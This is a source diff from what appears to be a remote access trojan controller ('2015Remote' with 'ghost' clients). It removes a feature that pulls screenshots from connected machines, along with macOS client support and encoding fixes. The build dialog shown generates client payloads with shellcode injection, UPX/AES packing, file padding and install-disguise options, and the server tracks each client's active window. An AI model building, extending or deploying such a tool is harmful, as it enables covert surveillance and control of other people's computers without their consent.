MultiByteToWideChar(CP_ACP, 0, csActiveWnd, -1, &wstr[0], wlen);
|
||||
int u8len = WideCharToMultiByte(CP_UTF8, 0, wstr.c_str(), -1, NULL, 0, NULL, NULL);
|
||||
if (u8len > 0) {
|
||||
activeWnd.resize(u8len - 1);
|
||||
WideCharToMultiByte(CP_UTF8, 0, wstr.c_str(), -1, &activeWnd[0], u8len, NULL, NULL);
|
||||
}
|
||||
}
|
||||
}
|
||||
WebService().NotifyDeviceUpdate(clientID, rtt, activeWnd);
|
||||
@@ -7587,28 +7269,6 @@ void CMy2015RemoteDlg::OnListClick(NMHDR* pNMHDR, LRESULT* pResult)
|
||||
CString res[RES_MAX];
|
||||
CString startTime = ctx->GetClientData(ONLINELIST_STARTTIME);
|
||||
ctx->GetAdditionalData(res);
|
||||
// 客户端 RES_* 字符串编码取决于客户端能力位:UTF-8 客户端(Linux/macOS/新 Win)
|
||||
// 发的是 UTF-8 字节,老客户端是 CP_ACP。这里统一规整到 CP_ACP,让下游 FormatL
|
||||
// 与既有 ANSI 字符串拼接以及最终 CP_ACP→wide 的浮窗渲染都能正确识别。
|
||||
// 若服务端运行系统的 ANSI 代码页不能容纳客户端字符(如德语服务端遇到中文路径),
|
||||
// 不可表示的字符会变 '?' —— 与项目其它路径的既有限制一致,不在本次修复范围。
|
||||
UINT cp = GetClientEncoding(ctx);
|
||||
if (cp != CP_ACP) {
|
||||
for (int i = 0; i < RES_MAX; i++) {
|
||||
if (res[i].IsEmpty()) continue;
|
||||
int wlen = MultiByteToWideChar(cp, 0, res[i].GetString(), -1, NULL, 0);
|
||||
if (wlen <= 1) continue;
|
||||
std::wstring wbuf(wlen - 1, L'\0');
|
||||
MultiByteToWideChar(cp, 0, res[i].GetString(), -1, &wbuf[0], wlen);
|
||||
int alen = WideCharToMultiByte(CP_ACP, 0, wbuf.c_str(), -1, NULL, 0, NULL, NULL);
|
||||
if (alen <= 1) continue;
|
||||
CString out;
|
||||
WideCharToMultiByte(CP_ACP, 0, wbuf.c_str(), -1,
|
||||
out.GetBufferSetLength(alen - 1), alen, NULL, NULL);
|
||||
out.ReleaseBuffer(alen - 1);
|
||||
res[i] = out;
|
||||
}
|
||||
}
|
||||
FlagType type = ctx->GetFlagType();
|
||||
static std::map<FlagType, std::string> typMap = {
|
||||
{FLAG_WINOS, "WinOS"}, {FLAG_UNKNOWN, "Unknown"}, {FLAG_SHINE, "Shine"},
|
||||
@@ -7638,141 +7298,36 @@ void CMy2015RemoteDlg::OnListClick(NMHDR* pNMHDR, LRESULT* pResult)
|
||||
CPoint pt;
|
||||
GetCursorPos(&pt);
|
||||
|
||||
// 清理旧提示(DeletePopupWindow 会同时清掉 m_pPreviewTip / m_PreviewReqId / 定时器)
|
||||
// 清理旧提示
|
||||
DeletePopupWindow(TRUE);
|
||||
|
||||
// 屏幕预览触发条件:客户端支持能力位 + 当前活动窗口非 Locked/Inactive
|
||||
CString activeWnd = ctx->GetClientData(ONLINELIST_LOGINTIME);
|
||||
bool isIdleOrLocked =
|
||||
activeWnd.Find(_T("Locked")) == 0 || activeWnd.Find(_T("Inactive")) == 0;
|
||||
bool wantPreview = ctx->SupportsScreenPreview() && !isIdleOrLocked;
|
||||
// 创建提示窗口
|
||||
m_pFloatingTip = new CWnd();
|
||||
int width = res[RES_FILE_PATH].GetLength() * 10 + 36;
|
||||
width = min(max(width, 360), 800);
|
||||
CRect rect(pt.x, pt.y, pt.x + width, pt.y + 120); // 宽度、高度
|
||||
|
||||
// 创建新预览浮窗
|
||||
WORD maxWidth = 480;
|
||||
BYTE jpegQ = 70;
|
||||
if (wantPreview) {
|
||||
ChooseScreenPreviewParams(ctx, maxWidth, jpegQ);
|
||||
}
|
||||
BOOL bOk = m_pFloatingTip->CreateEx(
|
||||
WS_EX_TOPMOST | WS_EX_TOOLWINDOW | WS_EX_NOACTIVATE,
|
||||
_T("STATIC"),
|
||||
strText,
|
||||
WS_POPUP | WS_VISIBLE | WS_BORDER | SS_LEFT | SS_NOTIFY,
|
||||
rect,
|
||||
this,
|
||||
0);
|
||||
|
||||
auto* tip = new CPreviewTipWnd();
|
||||
// 项目是 MBCS(CP_ACP),浮窗内部用宽字符渲染(避免跨语言系统乱码)。
|
||||
// 这里把 strText (CStringA) 按 CP_ACP 转 wide。
|
||||
CStringW textW;
|
||||
{
|
||||
int wlen = MultiByteToWideChar(CP_ACP, 0, strText.GetString(), -1, NULL, 0);
|
||||
if (wlen > 1) {
|
||||
MultiByteToWideChar(CP_ACP, 0, strText.GetString(), -1, textW.GetBufferSetLength(wlen - 1), wlen);
|
||||
textW.ReleaseBuffer(wlen - 1);
|
||||
}
|
||||
}
|
||||
BOOL bOk = tip->Create(this, pt, textW, wantPreview ? maxWidth : 0);
|
||||
if (bOk) {
|
||||
m_pFloatingTip = tip;
|
||||
m_pPreviewTip = tip;
|
||||
// 整体超时:有预览 8 秒(图到达后会续命 5s),纯文本 5 秒
|
||||
SetTimer(TIMER_CLOSEWND, wantPreview ? 8000 : 5000, nullptr);
|
||||
|
||||
if (wantPreview) {
|
||||
// 序号 0 视为"无效",从 1 开始递增
|
||||
if (++m_PreviewReqId == 0) m_PreviewReqId = 1;
|
||||
tip->SetReqId(m_PreviewReqId);
|
||||
SendScreenPreviewRequest(ctx, m_PreviewReqId, maxWidth, jpegQ);
|
||||
// 4 秒未收到 → 在浮窗里标"预览不可用"
|
||||
SetTimer(TIMER_PREVIEW_ARRIVAL, 4000, nullptr);
|
||||
}
|
||||
m_pFloatingTip->SetFont(GetFont());
|
||||
m_pFloatingTip->ShowWindow(SW_SHOW);
|
||||
SetTimer(TIMER_CLOSEWND, 5000, nullptr);
|
||||
} else {
|
||||
delete tip;
|
||||
SAFE_DELETE(m_pFloatingTip);
|
||||
}
|
||||
}
|
||||
|
||||
*pResult = 0;
|
||||
}
|
||||
|
||||
// 屏幕预览参数挑选:复用既有 GetTargetQualityLevel + GetScreenPreviewProfile
|
||||
// RTT 阈值表与屏幕共享共用(FRP 模式阈值更宽松);超清档(Ultra/High)+ 4K/超宽屏
|
||||
// 时按 min(screenWidth/4, 1280) 自适应放大,避免高分屏被压成无信息缩略图
|
||||
void CMy2015RemoteDlg::ChooseScreenPreviewParams(context* ctx, WORD& maxWidth, BYTE& jpegQuality) const
|
||||
{
|
||||
int ping = 0;
|
||||
{
|
||||
CString p = ctx->GetClientData(ONLINELIST_PING);
|
||||
if (!p.IsEmpty()) ping = atoi(p.GetString());
|
||||
}
|
||||
// ping 未上报(0/缺失)→ 当中等档处理,避免误判为局域网刷过大缩略图
|
||||
int rttForLevel = ping > 0 ? ping : 250;
|
||||
|
||||
int level = GetTargetQualityLevel(rttForLevel, m_settings.UsingFRPProxy ? 1 : 0);
|
||||
const PreviewProfile& prof = GetScreenPreviewProfile(level);
|
||||
int base = prof.maxWidth;
|
||||
BYTE q = (BYTE)prof.jpegQuality;
|
||||
|
||||
// 4K/超宽屏自适应(仅 Ultra/High 启用,弱网档不放大保带宽)
|
||||
if (level <= QUALITY_HIGH) {
|
||||
CString resStr = ctx->GetAdditionalData(RES_RESOLUTION);
|
||||
if (!resStr.IsEmpty()) {
|
||||
int sw = 0, sh = 0;
|
||||
if (_stscanf_s(resStr, _T("%dx%d"), &sw, &sh) == 2 && sw >= 2560) {
|
||||
int adj = sw / 4;
|
||||
if (adj > 1280) adj = 1280;
|
||||
if (adj > base) base = adj;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
maxWidth = (WORD)base;
|
||||
jpegQuality = q;
|
||||
}
|
||||
|
||||
void CMy2015RemoteDlg::SendScreenPreviewRequest(context* ctx, WORD reqId, WORD maxWidth, BYTE jpegQuality)
|
||||
{
|
||||
if (!ctx) return;
|
||||
ScreenPreviewReq req;
|
||||
memset(&req, 0, sizeof(req));
|
||||
req.cmd = COMMAND_SCREEN_PREVIEW_REQ;
|
||||
req.reqId = reqId;
|
||||
req.maxWidth = maxWidth;
|
||||
req.jpegQuality = jpegQuality;
|
||||
ctx->Send2Client((PBYTE)&req, sizeof(req));
|
||||
}
|
||||
|
||||
// 收到 TOKEN_SCREEN_PREVIEW_RSP(在主线程)
|
||||
// wParam: 未使用(避免依赖 WPARAM 宽度,Win32 上 32 位会截 64 位 clientID)
|
||||
// LPARAM: 指向堆分配的 std::vector<BYTE>*(含完整响应包:[Header|JPEG]),处理完必须 delete。
|
||||
// 校验思路:reqId 由对话框单调递增、每次双击重置 + 同时只有 1 个 in-flight tip,足以
|
||||
// 过滤过期/乱串响应,无需再叠加 clientID 校验。
|
||||
LRESULT CMy2015RemoteDlg::OnPreviewResponse(WPARAM /*wParam*/, LPARAM lParam)
|
||||
{
|
||||
auto* pkt = reinterpret_cast<std::vector<BYTE>*>(lParam);
|
||||
if (!pkt) return 0;
|
||||
std::unique_ptr<std::vector<BYTE>> guard(pkt);
|
||||
|
||||
if (pkt->size() < sizeof(ScreenPreviewRspHeader)) return 0;
|
||||
const ScreenPreviewRspHeader* hdr = reinterpret_cast<const ScreenPreviewRspHeader*>(pkt->data());
|
||||
if (hdr->token != TOKEN_SCREEN_PREVIEW_RSP) return 0;
|
||||
|
||||
// 序号校验:和当前期待的 reqId 不符 → 过期响应,丢弃
|
||||
if (m_PreviewReqId == 0 || hdr->reqId != m_PreviewReqId) return 0;
|
||||
if (!m_pPreviewTip || !::IsWindow(m_pPreviewTip->GetSafeHwnd())) return 0;
|
||||
|
||||
KillTimer(TIMER_PREVIEW_ARRIVAL);
|
||||
|
||||
if (hdr->status != SCREEN_PREVIEW_OK || hdr->bytes == 0 ||
|
||||
pkt->size() < sizeof(ScreenPreviewRspHeader) + hdr->bytes ||
|
||||
hdr->format != SCREEN_PREVIEW_FMT_JPEG)
|
||||
{
|
||||
m_pPreviewTip->MarkPreviewUnavailable();
|
||||
return 0;
|
||||
}
|
||||
|
||||
const BYTE* jpeg = pkt->data() + sizeof(ScreenPreviewRspHeader);
|
||||
m_pPreviewTip->SetImageFromJpeg(jpeg, hdr->bytes);
|
||||
|
||||
// 图到达后续命 5 秒
|
||||
KillTimer(TIMER_CLOSEWND);
|
||||
SetTimer(TIMER_CLOSEWND, 5000, nullptr);
|
||||
return 0;
|
||||
}
|
||||
|
||||
|
||||
void CMy2015RemoteDlg::OnOnlineUnauthorize()
|
||||
{
|
||||
|
||||
@@ -96,14 +96,6 @@ extern CMy2015RemoteDlg* g_2015RemoteDlg;
|
||||
// 注意:m_bEnableFileV2 是 CMy2015RemoteDlg 的成员变量
|
||||
bool SupportsFileTransferV2(context* ctx);
|
||||
|
||||
// 获取客户端协议字符串编码 (CP_UTF8 或 936)。
|
||||
// 适用于任意 context:
|
||||
// - 主连接:直接读自身的 CAPABILITIES
|
||||
// - 子连接(KeyBoardDlg / SystemDlg / FileManagerDlg 等):CAPABILITIES 为空,
|
||||
// 通过 peer IP 查 m_HostList 中的主连接获取能力位
|
||||
// 找不到主连接或老客户端:默认 CP936(覆盖 95% 简中/英语 ASCII 老客户端)。
|
||||
UINT GetClientEncoding(context* ctx);
|
||||
|
||||
// 服务端待续传的传输信息
|
||||
struct PendingTransferV2 {
|
||||
uint64_t clientID;
|
||||
@@ -230,10 +222,6 @@ public:
|
||||
VOID SendAllCommand(PBYTE szBuffer, ULONG ulLength);
|
||||
// 显示用户上线信息
|
||||
CWnd* m_pFloatingTip = nullptr;
|
||||
// 屏幕预览:m_pFloatingTip 实际是 CPreviewTipWnd 时这里有同一指针的有类型副本,
|
||||
// 用于在收到 JPEG 后调用 SetImageFromJpeg;DeletePopupWindow 释放时一并置空。
|
||||
class CPreviewTipWnd* m_pPreviewTip = nullptr;
|
||||
WORD m_PreviewReqId = 0; // 当前期待的预览响应序号;0 = 无待响应
|
||||
// 记录 clientID(心跳更新)
|
||||
std::set<uint64_t> m_DirtyClients;
|
||||
// 待处理的上线/下线事件(批量更新减少闪烁)
|
||||
@@ -249,12 +237,6 @@ public:
|
||||
std::string m_v2KeyPath; // V2 密钥文件路径
|
||||
void RebuildFilteredIndices(); // 重建过滤索引
|
||||
context* GetContextByListIndex(int iItem); // 根据列表索引获取 context(考虑分组过滤)
|
||||
|
||||
// 启发式 ID 迁移:新客户端首次上线时,按 (ComputerName, ProgramPath) 在 m_ClientMap
|
||||
// 里找老条目,若唯一匹配则把元数据(备注/位置/级别/授权)拷贝到 newId。
|
||||
// 多于一个候选时保守跳过,写日志让运维手动处理,避免误聚合。
|
||||
// 返回 true 表示有迁移发生(调用方需触发 dat 文件落盘)。
|
||||
bool TryMigrateClientMetadata(uint64_t newId, const CString& pcName, const CString& exePath);
|
||||
void LoadListData(const std::string& group);
|
||||
void DeletePopupWindow(BOOL bForce = FALSE);
|
||||
void CheckHeartbeat();
|
||||
@@ -362,13 +344,7 @@ public:
|
||||
afx_msg void OnSize(UINT nType, int cx, int cy);
|
||||
afx_msg void OnExitSizeMove();
|
||||
afx_msg void OnNMRClickOnline(NMHDR *pNMHDR, LRESULT *pResult);
|
||||
afx_msg void OnGetDispInfo(NMHDR* pNMHDR, LRESULT* pResult); // 虚拟列表数据回调(A 版,备用)
|
||||
afx_msg void OnGetDispInfoW(NMHDR* pNMHDR, LRESULT* pResult); // 虚拟列表数据回调(W 版,启用 LVM_SETUNICODEFORMAT 后实际触发的)
|
||||
|
||||
// "活动窗口"列的宽字符旁路表:clientID -> Unicode 标题。
|
||||
// 协议字段 hb.ActiveWnd 已约定为 UTF-8(老客户端 GBK 回退),由服务端解码后存入。
|
||||
// 由 m_cs 保护。
|
||||
std::map<uint64_t, std::wstring> m_ActiveWndW;
|
||||
afx_msg void OnGetDispInfo(NMHDR* pNMHDR, LRESULT* pResult); // 虚拟列表数据回调
|
||||
afx_msg void OnOnlineMessage();
|
||||
afx_msg void OnOnlineDelete();
|
||||
afx_msg void OnOnlineUpdate();
|
||||
@@ -438,12 +414,6 @@ public:
|
||||
afx_msg void OnWhatIsThis();
|
||||
afx_msg void OnOnlineAuthorize();
|
||||
void OnListClick(NMHDR* pNMHDR, LRESULT* pResult);
|
||||
// 屏幕预览:依 ctx 最近 RTT + 屏幕分辨率挑参数;4K/超宽屏在 LAN 档自适应放大
|
||||
void ChooseScreenPreviewParams(context* ctx, WORD& maxWidth, BYTE& jpegQuality) const;
|
||||
// 发起预览请求;reqId 应与 m_PreviewReqId 同步
|
||||
void SendScreenPreviewRequest(context* ctx, WORD reqId, WORD maxWidth, BYTE jpegQuality);
|
||||
// 收到 TOKEN_SCREEN_PREVIEW_RSP(在主线程处理)
|
||||
afx_msg LRESULT OnPreviewResponse(WPARAM wParam, LPARAM lParam);
|
||||
afx_msg void OnOnlineUnauthorize();
|
||||
afx_msg void OnToolRequestAuth();
|
||||
afx_msg LRESULT OnPasswordCheck(WPARAM wParam, LPARAM lParam);
|
||||
|
||||
@@ -104,7 +104,6 @@
|
||||
<OpenMPSupport>false</OpenMPSupport>
|
||||
<DisableSpecificWarnings>4018;4244;4267;4819;4838</DisableSpecificWarnings>
|
||||
<LanguageStandard>stdcpp17</LanguageStandard>
|
||||
<AdditionalOptions>/source-charset:utf-8 /execution-charset:.936 %(AdditionalOptions)</AdditionalOptions>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Windows</SubSystem>
|
||||
@@ -139,7 +138,6 @@
|
||||
<OpenMPSupport>false</OpenMPSupport>
|
||||
<DisableSpecificWarnings>4018;4244;4267;4819;4838</DisableSpecificWarnings>
|
||||
<LanguageStandard>stdcpp17</LanguageStandard>
|
||||
<AdditionalOptions>/source-charset:utf-8 /execution-charset:.936 %(AdditionalOptions)</AdditionalOptions>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Windows</SubSystem>
|
||||
@@ -174,7 +172,6 @@
|
||||
<OpenMPSupport>false</OpenMPSupport>
|
||||
<DisableSpecificWarnings>4018;4244;4267;4819;4838</DisableSpecificWarnings>
|
||||
<LanguageStandard>stdcpp17</LanguageStandard>
|
||||
<AdditionalOptions>/source-charset:utf-8 /execution-charset:.936 %(AdditionalOptions)</AdditionalOptions>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Windows</SubSystem>
|
||||
@@ -211,7 +208,6 @@
|
||||
<OpenMPSupport>false</OpenMPSupport>
|
||||
<DisableSpecificWarnings>4018;4244;4267;4819;4838</DisableSpecificWarnings>
|
||||
<LanguageStandard>stdcpp17</LanguageStandard>
|
||||
<AdditionalOptions>/source-charset:utf-8 /execution-charset:.936 %(AdditionalOptions)</AdditionalOptions>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Windows</SubSystem>
|
||||
@@ -235,7 +231,6 @@
|
||||
</ItemDefinitionGroup>
|
||||
<ItemGroup>
|
||||
<None Include="..\..\linux\ghost" />
|
||||
<None Include="..\..\macos\ghost" />
|
||||
<None Include="..\..\Release\ghost.exe" />
|
||||
<None Include="..\..\Release\SCLoader.exe" />
|
||||
<None Include="..\..\Release\ServerDll.dll" />
|
||||
@@ -246,8 +241,6 @@
|
||||
<None Include="..\..\x64\Release\ServerDll.dll" />
|
||||
<None Include="..\..\x64\Release\TestRun.exe" />
|
||||
<None Include="..\..\x64\Release\TinyRun.dll" />
|
||||
<None Include="lang\en_US.ini" />
|
||||
<None Include="lang\zh_TW.ini" />
|
||||
<None Include="res\1.cur" />
|
||||
<None Include="res\2.cur" />
|
||||
<None Include="res\2015Remote.ico" />
|
||||
@@ -257,7 +250,6 @@
|
||||
<None Include="res\3rd\rcedit.exe" />
|
||||
<None Include="res\3rd\SCLoader_32.exe" />
|
||||
<None Include="res\3rd\SCLoader_64.exe" />
|
||||
<None Include="res\3rd\TerminalModule_x64.dll" />
|
||||
<None Include="res\3rd\upx.exe" />
|
||||
<None Include="res\4.cur" />
|
||||
<None Include="res\arrow.cur" />
|
||||
@@ -346,7 +338,6 @@
|
||||
<ClInclude Include="FeatureLimitsDlg.h" />
|
||||
<ClInclude Include="FrpsForSubDlg.h" />
|
||||
<ClInclude Include="PluginSettingsDlg.h" />
|
||||
<ClInclude Include="PreviewTipWnd.h" />
|
||||
<ClInclude Include="TriggerSettingsDlg.h" />
|
||||
<ClInclude Include="proxy\HPSocket.h" />
|
||||
<ClInclude Include="proxy\HPTypeDef.h" />
|
||||
@@ -397,7 +388,6 @@
|
||||
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|x64'">NotUsing</PrecompiledHeader>
|
||||
</ClCompile>
|
||||
<ClCompile Include="PluginSettingsDlg.cpp" />
|
||||
<ClCompile Include="PreviewTipWnd.cpp" />
|
||||
<ClCompile Include="TriggerSettingsDlg.cpp" />
|
||||
<ClCompile Include="WebService.cpp" />
|
||||
<ClCompile Include="..\..\client\MemoryModule.c">
|
||||
|
||||
@@ -81,7 +81,6 @@
|
||||
<ClCompile Include="WebService.cpp" />
|
||||
<ClCompile Include="msvc_compat.c" />
|
||||
<ClCompile Include="PluginSettingsDlg.cpp" />
|
||||
<ClCompile Include="PreviewTipWnd.cpp" />
|
||||
<ClCompile Include="TriggerSettingsDlg.cpp" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
@@ -186,7 +185,6 @@
|
||||
<ClInclude Include="WebPage.h" />
|
||||
<ClInclude Include="SimpleWebSocket.h" />
|
||||
<ClInclude Include="PluginSettingsDlg.h" />
|
||||
<ClInclude Include="PreviewTipWnd.h" />
|
||||
<ClInclude Include="TriggerSettingsDlg.h" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
@@ -325,10 +323,6 @@
|
||||
<None Include="res\3rd\rcedit.exe" />
|
||||
<None Include="res\3rd\SCLoader_32.exe" />
|
||||
<None Include="res\3rd\SCLoader_64.exe" />
|
||||
<None Include="lang\en_US.ini" />
|
||||
<None Include="lang\zh_TW.ini" />
|
||||
<None Include="res\3rd\TerminalModule_x64.dll" />
|
||||
<None Include="..\..\macos\ghost" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<Text Include="..\..\ReadMe.md" />
|
||||
|
||||
@@ -28,7 +28,6 @@ enum Index {
|
||||
IndexGhostMsc,
|
||||
IndexTestRunMsc,
|
||||
IndexLinuxGhost,
|
||||
IndexMacGhost,
|
||||
OTHER_ITEM
|
||||
};
|
||||
|
||||
@@ -418,7 +417,7 @@ void CBuildDlg::OnBnClickedOk()
|
||||
MessageBoxL("Shellcode 只能向64位电脑注入,注入器也只能是64位!", "提示", MB_ICONWARNING);
|
||||
return;
|
||||
}
|
||||
if (index == IndexLinuxGhost || index == IndexMacGhost) {
|
||||
if (index == IndexLinuxGhost) {
|
||||
m_ComboCompress.SetCurSel(CLIENT_COMPRESS_NONE);
|
||||
m_SliderClientSize.SetPos(0);
|
||||
}
|
||||
@@ -478,11 +477,6 @@ void CBuildDlg::OnBnClickedOk()
|
||||
typ = CLIENT_TYPE_LINUX;
|
||||
szBuffer = ReadResource(IDR_LINUX_GHOST, dwFileSize, ResFileName::GHOST_LINUX);
|
||||
break;
|
||||
case IndexMacGhost:
|
||||
file = "ghost";
|
||||
typ = CLIENT_TYPE_MACOS;
|
||||
szBuffer = ReadResource(IDR_MACOS_GHOST, dwFileSize, ResFileName::GHOST_MACOS);
|
||||
break;
|
||||
case OTHER_ITEM: {
|
||||
m_OtherItem.GetWindowTextA(file);
|
||||
typ = -1;
|
||||
@@ -705,18 +699,7 @@ void CBuildDlg::OnBnClickedOk()
|
||||
std::vector<char> padding(size, time(0)%256);
|
||||
WriteBinaryToFile(strSeverFile.GetString(), padding.data(), size, -1);
|
||||
}
|
||||
CString successMsg = _TR("生成成功! 文件位于:") + "\r\n" + strSeverFile + tip;
|
||||
// macOS binary 被 patch 后签名失效,AMFI 会 SIGKILL。提醒走 install.sh
|
||||
// (内部会 ad-hoc 重签) 或手动 codesign。
|
||||
if (typ == CLIENT_TYPE_MACOS) {
|
||||
successMsg += "\r\n\r\n";
|
||||
successMsg += _TR("提示: macOS 端 binary 已被修改导致签名失效,直接运行会被系统强杀。");
|
||||
successMsg += "\r\n";
|
||||
successMsg += _TR("推荐: 拷贝到 macOS 后运行 install.sh 安装 (脚本会自动重签)。");
|
||||
successMsg += "\r\n";
|
||||
successMsg += _TR("或手动重签:") + " codesign --force --sign - ghost";
|
||||
}
|
||||
MessageBoxL(successMsg, "提示", MB_ICONINFORMATION);
|
||||
MessageBoxL(_TR("生成成功! 文件位于:") + "\r\n" + strSeverFile + tip, "提示", MB_ICONINFORMATION);
|
||||
}
|
||||
SAFE_DELETE_ARRAY(szBuffer);
|
||||
if (index == IndexTestRun_DLL) return;
|
||||
@@ -780,7 +763,6 @@ BOOL CBuildDlg::OnInitDialog()
|
||||
m_ComboExe.InsertStringL(IndexGhostMsc, "ghost.exe - Windows 服务");
|
||||
m_ComboExe.InsertStringL(IndexTestRunMsc, "TestRun - Windows 服务");
|
||||
m_ComboExe.InsertStringL(IndexLinuxGhost, "ghost - Linux x64");
|
||||
m_ComboExe.InsertStringL(IndexMacGhost, "ghost - Apple MacOS");
|
||||
m_ComboExe.InsertStringL(OTHER_ITEM, CString("选择文件"));
|
||||
m_ComboExe.SetCurSel(IndexTestRun_MemDLL);
|
||||
|
||||
@@ -882,34 +864,9 @@ CString CBuildDlg::GetFilePath(CString type, CString filter, BOOL isOpen)
|
||||
return "";
|
||||
}
|
||||
|
||||
// 选 Linux / macOS 客户端时禁用对它们不适用的 Windows-only 选项:
|
||||
// - 架构 (m_ComboBits):Linux/macOS binary 是固定架构的预编译资源
|
||||
// - 加壳 (m_ComboCompress):UPX / ShellCode AES 等都是 Windows PE 概念
|
||||
// - 高级 group:安装目录 / 程序名称 / 载荷类型 / 增肥 / 下载服务,全是 Windows 安装/伪装相关
|
||||
void CBuildDlg::EnableWindowsOnlyControls(BOOL enable)
|
||||
{
|
||||
static const int ids[] = {
|
||||
// 架构
|
||||
IDC_COMBO_BITS, IDC_STATIC_BUILD_ARCH,
|
||||
// 加壳
|
||||
IDC_COMBO_COMPRESS, IDC_STATIC_BUILD_PACK,
|
||||
// 高级 group + 内部所有控件
|
||||
IDC_STATIC_BUILD_ADVANCED,
|
||||
IDC_STATIC_PAYLOAD, IDC_STATIC_PAYLOAD2, IDC_STATIC_PAYLOAD3,
|
||||
IDC_STATIC_BUILD_PADDING, IDC_STATIC_DOWNLOAD,
|
||||
IDC_EDIT_INSTALL_DIR, IDC_EDIT_INSTALL_NAME,
|
||||
IDC_COMBO_PAYLOAD, IDC_SLIDER_CLIENT_SIZE,
|
||||
IDC_CHECK_FILESERVER, IDC_EDIT_DOWNLOAD_URL,
|
||||
};
|
||||
for (int id : ids) {
|
||||
if (CWnd* p = GetDlgItem(id)) p->EnableWindow(enable);
|
||||
}
|
||||
}
|
||||
|
||||
void CBuildDlg::OnCbnSelchangeComboExe()
|
||||
{
|
||||
auto n = m_ComboExe.GetCurSel();
|
||||
EnableWindowsOnlyControls(!(n == IndexLinuxGhost || n == IndexMacGhost));
|
||||
if (n == OTHER_ITEM) {
|
||||
CString name = GetFilePath(_T("dll"), _T("All Files (*.*)|*.*|DLL Files (*.dll)|*.dll|EXE Files (*.exe)|*.exe|"));
|
||||
if (!name.IsEmpty()) {
|
||||
|
||||
@@ -104,7 +104,4 @@ public:
|
||||
CString m_sDownloadUrl;
|
||||
afx_msg void OnBnClickedCheckFileserver();
|
||||
afx_msg void OnCbnSelchangeComboPayload();
|
||||
|
||||
// 选 Linux / macOS 客户端时禁用 Windows-only 选项(架构 / 加壳 / 高级 group)
|
||||
void EnableWindowsOnlyControls(BOOL enable);
|
||||
};
|
||||
|
||||
@@ -8,13 +8,8 @@
|
||||
#include "InputDlg.h"
|
||||
#include "ZstdArchive.h"
|
||||
#include "2015RemoteDlg.h"
|
||||
#include "CDlgFileSend.h"
|
||||
#include <Shlobj.h>
|
||||
|
||||
// V2 接收用:定义在 CPasswordDlg.cpp,按本仓约定就地前置声明
|
||||
std::string GetPwdHash();
|
||||
std::string GetHMAC(int offset);
|
||||
|
||||
#ifdef _DEBUG
|
||||
#define new DEBUG_NEW
|
||||
#undef THIS_FILE
|
||||
@@ -35,15 +30,17 @@ CString CFileManagerDlg::s_strLocalHistoryPath;
|
||||
std::map<uint64_t, CString> CFileManagerDlg::s_mapRemoteHistoryPath;
|
||||
CLock CFileManagerDlg::s_lockHistory;
|
||||
|
||||
// 获取有效的客户端ID:基类已经覆盖 m_ClientID + ctx->GetClientID()(含 auth 后钉的值),
|
||||
// 这里仅在它们都拿不到时(老客户端没走 auth)通过 IP 反查主连接做兜底。
|
||||
// 获取有效的客户端ID:优先用 m_ClientID,否则通过 IP 找主连接
|
||||
uint64_t CFileManagerDlg::GetClientID() const
|
||||
{
|
||||
uint64_t id = CDialogBase::GetClientID();
|
||||
if (id != 0) return id;
|
||||
// 老客户端兜底:通过 IP 找主连接获取 ClientID(线程安全)
|
||||
// 优先使用已设置的 m_ClientID(未来 TOKEN_CLIENTID 会设置这个)
|
||||
if (m_ClientID != 0) {
|
||||
return m_ClientID;
|
||||
}
|
||||
// 回退:通过 IP 找主连接获取 ClientID(线程安全)
|
||||
if (g_2015RemoteDlg && m_ContextObject) {
|
||||
return g_2015RemoteDlg->FindClientIDByIP(m_ContextObject->GetPeerName());
|
||||
std::string peerIP = m_ContextObject->GetPeerName();
|
||||
return g_2015RemoteDlg->FindClientIDByIP(peerIP);
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
@@ -181,8 +178,6 @@ BEGIN_MESSAGE_MAP(CFileManagerDlg, CDialog)
|
||||
ON_MESSAGE(WM_MY_MESSAGE, OnMyMessage)
|
||||
ON_MESSAGE(WM_LOCAL_SEARCH_DONE, OnLocalSearchDone)
|
||||
ON_MESSAGE(WM_LOCAL_SEARCH_PROGRESS, OnLocalSearchProgress)
|
||||
ON_MESSAGE(WM_RECVFILEV2_CHUNK, &CFileManagerDlg::OnRecvFileV2Chunk)
|
||||
ON_MESSAGE(WM_RECVFILEV2_COMPLETE, &CFileManagerDlg::OnRecvFileV2Complete)
|
||||
//}}AFX_MSG_MAP
|
||||
ON_COMMAND(ID_FILEMANGER_COMPRESS, &CFileManagerDlg::OnFilemangerCompress)
|
||||
ON_COMMAND(ID_FILEMANGER_UNCOMPRESS, &CFileManagerDlg::OnFilemangerUncompress)
|
||||
@@ -1001,28 +996,6 @@ void CFileManagerDlg::OnReceiveComplete()
|
||||
break;
|
||||
case TOKEN_CLIENTID:
|
||||
break;
|
||||
case COMMAND_SEND_FILE_V2:
|
||||
case COMMAND_FILE_COMPLETE_V2: {
|
||||
// V2 下载(远程→本地):客户端把 chunk 通过 FileManager 子连接推回服务端。
|
||||
// 此函数在 NotifyProc -> worker 线程上调用。窗口创建/UI 操作必须回 UI 线程,
|
||||
// 否则消息泵不通,进度框不会显示(落盘可在任意线程,影响仅限 UI)。
|
||||
// 拷贝数据后 PostMessage 回自己;UI 线程的 OnRecvFileV2Chunk/Complete 处理。
|
||||
LPBYTE buf = m_ContextObject->m_DeCompressionBuffer.GetBuffer(0);
|
||||
unsigned len = m_ContextObject->m_DeCompressionBuffer.GetBufferLen();
|
||||
size_t minSize = (buf[0] == COMMAND_FILE_COMPLETE_V2)
|
||||
? sizeof(FileCompletePacketV2) : sizeof(FileChunkPacketV2);
|
||||
if (len >= minSize) {
|
||||
// 两种结构 cmd/transferID 偏移一致,可共用 FileChunkPacketV2 取 transferID
|
||||
uint64_t transferID = ((FileChunkPacketV2*)buf)->transferID;
|
||||
UINT msg = (buf[0] == COMMAND_FILE_COMPLETE_V2)
|
||||
? WM_RECVFILEV2_COMPLETE : WM_RECVFILEV2_CHUNK;
|
||||
// 用 std::pair<vector,uint64> 当 wParam 载体,UI 端 delete
|
||||
auto* payload = new std::pair<std::vector<BYTE>, uint64_t>(
|
||||
